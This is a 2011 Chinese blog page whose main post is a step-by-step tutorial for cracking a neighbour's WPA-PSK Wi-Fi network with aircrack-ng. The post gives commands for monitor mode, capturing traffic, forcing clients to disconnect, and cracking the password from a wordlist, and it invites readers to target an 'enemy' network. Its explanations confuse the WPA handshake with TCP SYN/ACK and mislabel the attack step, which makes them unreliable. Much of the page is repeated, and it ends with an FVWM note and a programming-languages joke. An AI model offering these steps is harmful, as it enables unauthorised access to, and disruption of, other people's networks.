Monday 7 November 2011
小白的技术帖01---破解WPA网络强大教程
哈哈哈哈哈哈，我终于破解了对面家的无线网络，还是WPA的勒～～
好了，小白的第1个技术帖就写这个，无线WPA加密式网络破解，哈哈哈，题目不错
WPA加密的网络基本上都能在aircrack-ng的官方网站文档找得到～但是依笨人的看法，那不够好(笨人说得好是简单，快速，有效）。笨人看到的官网破解WPA的步骤要卸载某个驱动，然后在启动什么傻不拉唧的垃圾东西才能得到的（笨人也10分的反感）
经过笨人的精心寻找资料后，我终于发现到跟有效的方法（掌声呢？？？？？），在此我要发布笨人的拙见给大家。
不多说，看图
哪！那个在中间的凸状汉堡包类似体就是我们的路由器（router）啦！他的功用就是将数据包通过一个个网络传送至目的地。他能在网络之间传递分组，也能为数据加密。现在普遍的网络分包加密算法有WEP和WPA（也有WPA2，暂且这归类为WPA）。WEP的不安全之处大家也知道吧？那个什么数据流阿，什么IV机率64位机器分包通通狗屁都不用说！
WPA（或者是WPA）都远远比WEP强的多，原因是在WPA的設計中要用到一個 802.1X 認證伺服器來散佈不同的鑰匙給各個用戶；不過它也可以用在較不保險的 "pre-shared key" (PSK) 模式，讓每個用戶都用同一個密語。这就足够可以解除了WEP的不良之处了，哈哈哈哈哈。而且，WPA 的資料是以一把 128 位元的鑰匙和一個 48 位元的初向量 (IV) 的 RC4 stream cipher 來加密。WPA 超越 WEP 的主要改进就是在使用中可以動態改變鑰匙的「臨時鑰匙完整性協定」（这翻译得很勉强。。。）
这意味着什么？？这意味着我们不能傻乎乎的坐在角落用你那傻乎乎的中指按下几个键，发呆～～～截取满10000个包包后，就能冲浪了！！！
这。。。。很明显是个菜鸟问的问题～大鸟会静静地看完这篇文章才来问的。
破解WPA，在理论上只有一种。那就是撷取“握手包”！
我们网络用户在与路由器建立一个session（这就是在OSI第3层，这在详细要问网络结构专家，我？我很忙的。。。）。在session的同时我们的路由器会发送ACK和SYN数据包。SYN我们可以忽略，因为他没有包含臨時鑰匙。我们来看ACK吧，他在这里可以被说成是握手包。我们用户在与路由器连接时（也就是认证密码的时候），用户会发送“侦探注入点”封包，而。路由器会发送“握手包”！！！！！！
这意味着什么？？这意味着我们能不停的让用户与路由器互相发送，并交换封包的当儿。我们就迅雷不及掩耳地撷取握手包啊啊啊啊啊啊啊啊！！！！！
我可以从电脑淫幕前看到你们各位的表情充满了不屑，呵呵呵呵
我只能跟你们讲，欢乐时间开始了～～
本文假设你们都是用bt 4 或以上（还有那BT6,噢呵呵呵呵，我忍不住了。想知详情看：http://bit.ly/vKsMtz）
还有，我们只能破解PSK式的WPA加密。
你如果不想空欢心的话，就试下打这个：
aireplay-ng -9 -e <某个网络的名字> -i wlan0
如果那网络显示注入不能的话，那就是你的网卡不支持这么激烈的运动了（驱动问题）
国际惯例：
打开你的终端～～～～～～～
大力的打下那a键吧！！！你吃饱饭没？？
airmon-ng
选择你的网卡吧！！笨人用的是wlan0(打比方，打比方。。。。。。）这可以将你的网卡强大起来！！
监。控。模。式！怎样？很酷吧？
airmon-ng start wlan0
选择你的仇人的网络，呃呃俄你不要选到WEP哦？？无论你是不是故意的。。。总之，你最好确认下。
airodump-ng mon0
Ctrl+C,取消行程。然后打：
airodump-ng --channel <那网络的频道(在CH栏下的）> --bssid <网络的BSSID> --write <档案名> mon0
呵呵呵，如果没错的话。你就是在监控人家的网络了。
你已成功了一半哪～～我的天。现在，开多新的终端
打下：
aireplay-ng -1 1 -a <那网络的BSSID> -c <station(你懂哪个吗？？我图上面有的啊啊！我图的底下有个“STATION”的那个栏，那是表明有多少个用户在线上阿）> mon0
以上的命令也许有人看不懂吧？让我来告诉你，上面的命令是命令aireplay-ng发送ARP数据包使对方的网络受到ARP污染，处于断网不能，接网不能的兴奋状态！温馨提醒：这时对方的网络会瘫痪，对方有可能发觉到不对劲哦～～～
如果能的话，就会有以下的讯息：
Waiting for beaconframe (BSSID: 00:11:22:33:44:55) on channel 8
Sending 64 directed DeAuth. STMAC: [55:44:33:22:11:00] [ X|Y ACKs]
其中，X等于你受到回复的ACK包包
Y 是你发出去的ACK包包
破解密码：
aircrack-ng 档案名-01.cap -w /pentest/passwords/wordlists/darkc0de.lst
加载字典，呵呵
我发送一次就受到够我破解的分包了（LUCKILY....）
发送一次还是不够破解密码的同学，你们也许需要
aireplay-ng -1 0 -a <那网络的BSSID> -c <station> mon0
连续发送ACK包。。。。。。。。。。
WINDOW 的朋友，你们在蛋疼这玩意吗？？
我没说不行阿～你们一定找不到字典吧？?我留下了bt内置的字典纳～～
可怜的你如果还是不行的话。。。。
就回帖说不行吧。我尽量帮你们～
如果成功破解到的话。。。。。
也回帖吧。我本来想隐藏的阿，帮忙顶顶吧～
好了，小白的第1个技术帖就写这个，无线WPA加密式网络破解，哈哈哈，题目不错
WPA加密的网络基本上都能在aircrack-ng的官方网站文档找得到～但是依笨人的看法，那不够好(笨人说得好是简单，快速，有效）。笨人看到的官网破解WPA的步骤要卸载某个驱动，然后在启动什么傻不拉唧的垃圾东西才能得到的（笨人也10分的反感）
经过笨人的精心寻找资料后，我终于发现到跟有效的方法（掌声呢？？？？？），在此我要发布笨人的拙见给大家。
不多说，看图
哪！那个在中间的凸状汉堡包类似体就是我们的路由器（router）啦！他的功用就是将数据包通过一个个网络传送至目的地。他能在网络之间传递分组，也能为数据加密。现在普遍的网络分包加密算法有WEP和WPA（也有WPA2，暂且这归类为WPA）。WEP的不安全之处大家也知道吧？那个什么数据流阿，什么IV机率64位机器分包通通狗屁都不用说！
------WPA算法有什么好啊？？------
WPA（或者是WPA）都远远比WEP强的多，原因是在WPA的設計中要用到一個 802.1X 認證伺服器來散佈不同的鑰匙給各個用戶；不過它也可以用在較不保險的 "pre-shared key" (PSK) 模式，讓每個用戶都用同一個密語。这就足够可以解除了WEP的不良之处了，哈哈哈哈哈。而且，WPA 的資料是以一把 128 位元的鑰匙和一個 48 位元的初向量 (IV) 的 RC4 stream cipher 來加密。WPA 超越 WEP 的主要改进就是在使用中可以動態改變鑰匙的「臨時鑰匙完整性協定」（这翻译得很勉强。。。）
这意味着什么？？这意味着我们不能傻乎乎的坐在角落用你那傻乎乎的中指按下几个键，发呆～～～截取满10000个包包后，就能冲浪了！！！
------如何才能破解呢？？------
这。。。。很明显是个菜鸟问的问题～大鸟会静静地看完这篇文章才来问的。
破解WPA，在理论上只有一种。那就是撷取“握手包”！
我们网络用户在与路由器建立一个session（这就是在OSI第3层，这在详细要问网络结构专家，我？我很忙的。。。）。在session的同时我们的路由器会发送ACK和SYN数据包。SYN我们可以忽略，因为他没有包含臨時鑰匙。我们来看ACK吧，他在这里可以被说成是握手包。我们用户在与路由器连接时（也就是认证密码的时候），用户会发送“侦探注入点”封包，而。路由器会发送“握手包”！！！！！！
这意味着什么？？这意味着我们能不停的让用户与路由器互相发送，并交换封包的当儿。我们就迅雷不及掩耳地撷取握手包啊啊啊啊啊啊啊啊！！！！！
------高潮来了呜哇哇啊啊啊啊啊啊阿------
我可以从电脑淫幕前看到你们各位的表情充满了不屑，呵呵呵呵
我只能跟你们讲，欢乐时间开始了～～
本文假设你们都是用bt 4 或以上（还有那BT6,噢呵呵呵呵，我忍不住了。想知详情看：http://bit.ly/vKsMtz）
还有，我们只能破解PSK式的WPA加密。
你如果不想空欢心的话，就试下打这个：
aireplay-ng -9 -e <某个网络的名字> -i wlan0
如果那网络显示注入不能的话，那就是你的网卡不支持这么激烈的运动了（驱动问题）
国际惯例：
打开你的终端～～～～～～～
大力的打下那a键吧！！！你吃饱饭没？？
airmon-ng
选择你的网卡吧！！笨人用的是wlan0(打比方，打比方。。。。。。）这可以将你的网卡强大起来！！
监。控。模。式！怎样？很酷吧？
airmon-ng start wlan0
选择你的仇人的网络，呃呃俄你不要选到WEP哦？？无论你是不是故意的。。。总之，你最好确认下。
airodump-ng mon0
Ctrl+C,取消行程。然后打：
airodump-ng --channel <那网络的频道(在CH栏下的）> --bssid <网络的BSSID> --write <档案名> mon0
呵呵呵，如果没错的话。你就是在监控人家的网络了。
你已成功了一半哪～～我的天。现在，开多新的终端
打下：
aireplay-ng -1 1 -a <那网络的BSSID> -c <station(你懂哪个吗？？我图上面有的啊啊！我图的底下有个“STATION”的那个栏，那是表明有多少个用户在线上阿）> mon0
以上的命令也许有人看不懂吧？让我来告诉你，上面的命令是命令aireplay-ng发送ARP数据包使对方的网络受到ARP污染，处于断网不能，接网不能的兴奋状态！温馨提醒：这时对方的网络会瘫痪，对方有可能发觉到不对劲哦～～～
如果能的话，就会有以下的讯息：
Waiting for beaconframe (BSSID: 00:11:22:33:44:55) on channel 8
Sending 64 directed DeAuth. STMAC: [55:44:33:22:11:00] [ X|Y ACKs]
其中，X等于你受到回复的ACK包包
Y 是你发出去的ACK包包
破解密码：
aircrack-ng 档案名-01.cap -w /pentest/passwords/wordlists/darkc0de.lst
加载字典，呵呵
我发送一次就受到够我破解的分包了（LUCKILY....）
发送一次还是不够破解密码的同学，你们也许需要
aireplay-ng -1 0 -a <那网络的BSSID> -c <station> mon0
连续发送ACK包。。。。。。。。。。
WINDOW 的朋友，你们在蛋疼这玩意吗？？
我没说不行阿～你们一定找不到字典吧？?我留下了bt内置的字典纳～～
可怜的你如果还是不行的话。。。。就回帖说不行吧。我尽量帮你们～
如果成功破解到的话。。。。。
也回帖吧。我本来想隐藏的阿，帮忙顶顶吧～
Wednesday 26 October 2011
FVWM 整合笔记 1
笨人玩了接近一年的linux了，成天都在使用着华丽但又非常不稳定的WM（窗口管理器）。。。。
最近，笨人在某个论坛看到了一个漂亮的贴图，OMG～～，太美了
查查下，笨人发觉到那人是使用FVWM的一个WM来定制出来的。
从那天起，本人就发奋图强，要使用“神器”（论坛的人都是这样叫的，因为这WM太麻烦了）
怎样？？够吸引了吧？？笨人就是被这些摘图吸引过来的 :)
最近，笨人在某个论坛看到了一个漂亮的贴图，OMG～～，太美了
查查下，笨人发觉到那人是使用FVWM的一个WM来定制出来的。
从那天起，本人就发奋图强，要使用“神器”（论坛的人都是这样叫的，因为这WM太麻烦了）
怎样？？够吸引了吧？？笨人就是被这些摘图吸引过来的 :)
Thursday 22 September 2011
Saturday 17 September 2011
黑客x档案
链接名称：黑客x档案
链接网址：http://www.hackerxfiles.net
链接介绍：黑客X档案是目前国内发行量最大的网络安全(电脑黑客)类杂志，也是一本面向大众的普及类网络安全杂志。
Thursday 15 September 2011
在某个论坛看到：
Ada 是一种异常神勇永远不会损坏的坦克。如果你跟别人说你驾驶 的是Ada 他们会笑疯的，但是，说真的，你愿意在战场上开跑车吗？
汇编语言 仅仅是一台引擎。你需要自己搭建汽车，并且在行驶过程中手动注入燃料，不过如果你足够小心的话，它可以跑得像脱缰野马一般快。
Basic 这种汽车用来开到附近的商店去购物还不错.Basic曾经在学习驾驶的人中很流行。但是最近被剥得只剩皮,被一个主要生产者重新设计，新版本可以胜任长途旅行，与旧版本之间只有外表上比较像，但其余部分都已经改变了
C 快得难以置信但是每五十分钟坏一次的跑车。
Cobol 是个有名气的汽车，但是任何尊重自己的驾驶员都不承认曾经驾驶过。
C# 家用旅行车的有力竞争者。一旦你用这种汽车，就不能用它的竞争对手的汽车了。
C++ 是C跑车的加强马力版，比C多了几十个额外特性。每250英里损坏一次，问题是损坏的时候谁都找不到问题在哪。
Eiffel 一辆法国口音的内部包含驾驶指南的汽车。它会帮你快速找到自己的错误并且吸取教训，不过如果你胆敢和它争执,它会把你扔出车窗口。
Erlang 一群能够合作把你送到目的地的汽车。你需要接受训练才能学会同时驾驶这些车。当你学会如何驾驶时就很难再学会其他的驾驶方式。另外，你有好多辆车，所以一两辆坏掉是无所谓的。
Forth 一辆你自己用工具拼成的汽车，外观和行为都不像其它任何车。还有，Forth汽车只能倒着跑。
Fortran 一种相当原始的汽车。如果你只在非常非常笔直的公路上驾驶，Fortran可以跑得飞快。据信，学习驾驶 Fortran 之后你就没法学开其它汽车了。
Java 是一种家用旅行车。它易于驾驶，不过开不很快，你也不会出事故伤到自己。
Haskell 是一种设计无比精致的漂亮的汽车。据说可以在任何极端地形上行驶。当你驾驶它的时候，它并不沿着道路行驶，而是把自己和道路都复制若干份，把将来要走的路也复制出来,其实可以以更方便的方式驾驶它，但是需要极高的数学水平。
Haskell 并不是一辆汽车，它只是一个抽象的汽车，你需要把它放进另外一个真实的汽车中，然后才能驾驶。你不必知道真实的汽车是如何行驶的。你可以把若干个抽象汽车合成成一个抽象汽车，然后它就可以让真实汽车一个接一个地做好趟旅途。
Lisp 看起来像一辆汽车，通过足够的改装你可以把它变成成一个相当高效的飞行器或者潜水艇。
Lisp 一开始看起来根本不像汽车，不过你总是能见到几个驾驶它的人。当你决定了解它的时候，你会发现它其实是一辆可以制造更多汽车的汽车。你把它告诉你的朋友，不过他们都嘲笑你，说这些车看起来太奇怪了。你仍然在你的车库里存着一辆，希望某一天这些车可以占据所有街道。
Mathematica 一种设计良好的汽车，参考了 Lisp 的设计，却对Lisp连句谢谢都没说。它可以帮你找到到达目的地的最快路径，不过还要看你的运气如何了
Matlab 一般和 Mathematica 在相似的地形上行驶。在这种地形上驾驶 Matlab 是很舒服的，但是如果你驶离车道，哪怕只有一点点，这辆汽车就变得非常难开，这时一些势利的驾驶员甚至不把它当作一辆车。
Ocaml 一种非常性感的欧洲车。它并没有 C 那样快，但是从来不会半路抛锚，所以你最终花的时间或许更短。然而，正因为它来自法国，驾驶方法和一般汽车不一样。
Perl 是一辆漂亮的汽车，只是驾驶手册太难懂了。另外，及时你已经知道如何驾驶 Perl，你也不一定会开别人家的 Perl。
PHP 是Oscar Mayer Wienermobile。尽管它是一种奇怪、难以驾驶的汽车，但是每个人都想驾驶它。
Prolog 全自动汽车：你只要告诉它你的目的地长什么样，它会自动驾驶过去。然而，描述大部分目的地的精力耗费都与亲自开过去相当。
Python 是一种非常适合初学者驾驶的好车。你可以不要驾驶证就开它上路。一般来说你不需要其它车，除非你想要开得飞快或者经过非常危险的地带。
Ruby 是 Perl、Python 和 Smalltalk 3者的合体。一位日本工程师从碎片中拼成了 Ruby，并且很多车手认为它比另外三种语言都好。其它车手抱怨说 Ruby 的操作不稳定，有些完全一样的操作在不同环境中表现有些不一样，所以这种车不那么容易驾驶。据说 Ruby 的重新设计正在进行中。
Smalltalk 一种最初为学习驾驶的人设计的小型汽车，不过设计得非常好，所以有经验的驾驶员也喜欢开。它没法跑很快，但是你可以把它的任何一个区域取下来，换成其它部件，以适合自己的需求。它有一点奇怪之处：你不需要手动驾驶它。你告诉它你想去哪，它要么带你去，要么告诉你它不知道你在说什么。
Visual Basic 一辆驾驶你的汽车。
Ada 是一种异常神勇永远不会损坏的坦克。如果你跟别人说你驾驶 的是Ada 他们会笑疯的，但是，说真的，你愿意在战场上开跑车吗？
汇编语言 仅仅是一台引擎。你需要自己搭建汽车，并且在行驶过程中手动注入燃料，不过如果你足够小心的话，它可以跑得像脱缰野马一般快。
Basic 这种汽车用来开到附近的商店去购物还不错.Basic曾经在学习驾驶的人中很流行。但是最近被剥得只剩皮,被一个主要生产者重新设计，新版本可以胜任长途旅行，与旧版本之间只有外表上比较像，但其余部分都已经改变了
C 快得难以置信但是每五十分钟坏一次的跑车。
Cobol 是个有名气的汽车，但是任何尊重自己的驾驶员都不承认曾经驾驶过。
C# 家用旅行车的有力竞争者。一旦你用这种汽车，就不能用它的竞争对手的汽车了。
C++ 是C跑车的加强马力版，比C多了几十个额外特性。每250英里损坏一次，问题是损坏的时候谁都找不到问题在哪。
Eiffel 一辆法国口音的内部包含驾驶指南的汽车。它会帮你快速找到自己的错误并且吸取教训，不过如果你胆敢和它争执,它会把你扔出车窗口。
Erlang 一群能够合作把你送到目的地的汽车。你需要接受训练才能学会同时驾驶这些车。当你学会如何驾驶时就很难再学会其他的驾驶方式。另外，你有好多辆车，所以一两辆坏掉是无所谓的。
Forth 一辆你自己用工具拼成的汽车，外观和行为都不像其它任何车。还有，Forth汽车只能倒着跑。
Fortran 一种相当原始的汽车。如果你只在非常非常笔直的公路上驾驶，Fortran可以跑得飞快。据信，学习驾驶 Fortran 之后你就没法学开其它汽车了。
Java 是一种家用旅行车。它易于驾驶，不过开不很快，你也不会出事故伤到自己。
Haskell 是一种设计无比精致的漂亮的汽车。据说可以在任何极端地形上行驶。当你驾驶它的时候，它并不沿着道路行驶，而是把自己和道路都复制若干份，把将来要走的路也复制出来,其实可以以更方便的方式驾驶它，但是需要极高的数学水平。
Haskell 并不是一辆汽车，它只是一个抽象的汽车，你需要把它放进另外一个真实的汽车中，然后才能驾驶。你不必知道真实的汽车是如何行驶的。你可以把若干个抽象汽车合成成一个抽象汽车，然后它就可以让真实汽车一个接一个地做好趟旅途。
Lisp 看起来像一辆汽车，通过足够的改装你可以把它变成成一个相当高效的飞行器或者潜水艇。
Lisp 一开始看起来根本不像汽车，不过你总是能见到几个驾驶它的人。当你决定了解它的时候，你会发现它其实是一辆可以制造更多汽车的汽车。你把它告诉你的朋友，不过他们都嘲笑你，说这些车看起来太奇怪了。你仍然在你的车库里存着一辆，希望某一天这些车可以占据所有街道。
Mathematica 一种设计良好的汽车，参考了 Lisp 的设计，却对Lisp连句谢谢都没说。它可以帮你找到到达目的地的最快路径，不过还要看你的运气如何了
Matlab 一般和 Mathematica 在相似的地形上行驶。在这种地形上驾驶 Matlab 是很舒服的，但是如果你驶离车道，哪怕只有一点点，这辆汽车就变得非常难开，这时一些势利的驾驶员甚至不把它当作一辆车。
Ocaml 一种非常性感的欧洲车。它并没有 C 那样快，但是从来不会半路抛锚，所以你最终花的时间或许更短。然而，正因为它来自法国，驾驶方法和一般汽车不一样。
Perl 是一辆漂亮的汽车，只是驾驶手册太难懂了。另外，及时你已经知道如何驾驶 Perl，你也不一定会开别人家的 Perl。
PHP 是Oscar Mayer Wienermobile。尽管它是一种奇怪、难以驾驶的汽车，但是每个人都想驾驶它。
Prolog 全自动汽车：你只要告诉它你的目的地长什么样，它会自动驾驶过去。然而，描述大部分目的地的精力耗费都与亲自开过去相当。
Python 是一种非常适合初学者驾驶的好车。你可以不要驾驶证就开它上路。一般来说你不需要其它车，除非你想要开得飞快或者经过非常危险的地带。
Ruby 是 Perl、Python 和 Smalltalk 3者的合体。一位日本工程师从碎片中拼成了 Ruby，并且很多车手认为它比另外三种语言都好。其它车手抱怨说 Ruby 的操作不稳定，有些完全一样的操作在不同环境中表现有些不一样，所以这种车不那么容易驾驶。据说 Ruby 的重新设计正在进行中。
Smalltalk 一种最初为学习驾驶的人设计的小型汽车，不过设计得非常好，所以有经验的驾驶员也喜欢开。它没法跑很快，但是你可以把它的任何一个区域取下来，换成其它部件，以适合自己的需求。它有一点奇怪之处：你不需要手动驾驶它。你告诉它你想去哪，它要么带你去，要么告诉你它不知道你在说什么。
Visual Basic 一辆驾驶你的汽车。
Subscribe to:
Posts (Atom)